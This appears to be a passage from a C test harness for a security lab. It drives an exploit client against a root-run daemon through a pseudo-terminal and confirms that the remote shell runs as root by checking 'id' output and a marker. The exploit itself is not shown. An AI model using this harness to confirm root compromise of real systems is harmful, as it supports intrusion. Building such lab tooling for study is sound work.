* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
* really runs with uid 0. That can only come from a live `id`
* executed by a uid-0 shell, and it is the entire claim of this
* lab: foowosd was STARTED as root (no setuid bit anywhere), and
* the RCE therefore lands a root shell.
*
* Flags:
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
* Used by `make test-root` for every technique, because when
* the daemon is running as root ALL of them must escalate.
* --dump FILE write the raw transcript for post-mortem analysis.
*
* Exit status without --must-root: 0 when a shell is proven (marker + uid=).
* That is how `make test` runs the baseline against a non-root daemon.
*
* Two false-positive traps, both learned the hard way in earlier labs:
*
* 1. ECHO. The pty must run cooked but with ECHO off. With ECHO on, the
* pty mirrors our own keystrokes back into the transcript, the command
* line "echo WOSUID-OK" supplies the marker, and the harness reports
* success whether or not any shell ever ran. ECHONL stays on so the
* newline still comes back.
*
* 2. "uid=" as a bare substring. foowosc's own diagnostics print
* "target euid=0 ruid=0", and both "euid=" and "ruid=" CONTAIN "uid=".
* So id_output must require the exact `id` output shape -- "uid="
* followed by digits and a parenthesis -- and even then the banner is
* printed as "ids=..." precisely so it can never look like `id`.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(): timeout without a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The literal we ask the remote shell to print; seeing it come back (with
* ECHO off) proves a shell really echoed it from the other side. */
#define MARKER "WOSUID-OK"
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
* older "uid=0( root)"-style output of any id implementation; only 'id' can
* print this line, and the parenthesis rules out foowosc/foowosd chatter. */
#define ROOTOUT "uid=0("
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
* by one or more digits and then '(' . That is the signature of `id`'s
* output and of nothing foowosc or foowosd prints (see the header comment's
* trap #2: foowosc's own "euid=… ruid=…" chatter contains "uid="). */
static int saw_real_uid_output(const char *t)
{
const char *p = t;
while ((p = strstr(p, "uid=")) != NULL) {
const char *q = p + 4; /* past "uid=" */
int digits = 0;
while (*q >= '0' && *q <= '9') {
q++;
digits++;
}
if (digits > 0 && *q == '(')
return 1;
p = q; /* keep scanning for the next "uid=". */
}
return 0;
}
/* Everything the pty has ever produced, scanned after every drain so a
* marker straddling a read() boundary cannot be missed. */
static char transcript[65536];
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
* and append to the transcript. select() with a deadline keeps us from
* spinning while the (interactive, silent) shell thinks. */
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* A chatty peer should not hold us forever: reset the deadline. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: shellcode)";
}
int main(int argc, char **argv)
{
int master;
char slave_name[256];
struct termios saved;
int have_saved = 0;
pid_t pid;
int ok = 0; /* marker seen */
int saw_id = 0; /* "uid=NNN(" seen: real program ran */
int saw_root = 0; /* "uid=0(" seen: it was uid 0 */
int must_root = 0; /* --must-root flag */
int round;
/* True when --must-root is present: the verdict then demands uid 0. */
for (int i = 1; i < argc; i++)
if (strcmp(argv[i], "--must-root") == 0)
must_root = 1;
/* ---- 1. Allocate a pty. ------------------------------------------ */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs foowosc. -- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/* Forward everything except our own --must-root / --dump plumbing,
* which foowosc's getopt() would reject. */
args[n++] = (char *)"./foowosc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--must-root") == 0)
continue;
if (strcmp(argv[i], "--dump") == 0) {
i++;
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
* ECHO off is load-bearing (trap #1 above). ECHONL stays on so we still
* see the newline when the pty processes our input. */
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1;
quiet.c_lflag &= ~(tcflag_t)ECHO;
quiet.c_lflag |= ECHONL;
tcsetattr(master, TCSANOW, &quiet);
}
/* ---- 4. Wait out foowosc's analysis + connect + payload phases. --- */
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. --------------------------------- */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have the signals we need (or give up). ----- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/* Rescan the WHOLE transcript, not the latest chunk: strings can
* straddle read() boundaries. */
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (saw_real_uid_output(transcript)) saw_id = 1;
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
/* --must-root: require everything. Otherwise require a live shell. */
if (must_root) {
if (ok && saw_id && saw_root)
break;
} else if (ok && saw_id) {
break;
}
}
/* ---- 7. Tidy up. ------------------------------------------------- */
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/* Optional --dump for post-mortems: pty_wosuid_test -t shellcode --dump x */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_wosuid_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr,
"\n[pty_wosuid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING",
saw_root ? "SEEN" : "MISSING");
if (must_root)
return (ok && saw_id && saw_root) ? 0 : 1;
return (ok && saw_id) ? 0 : 1;
}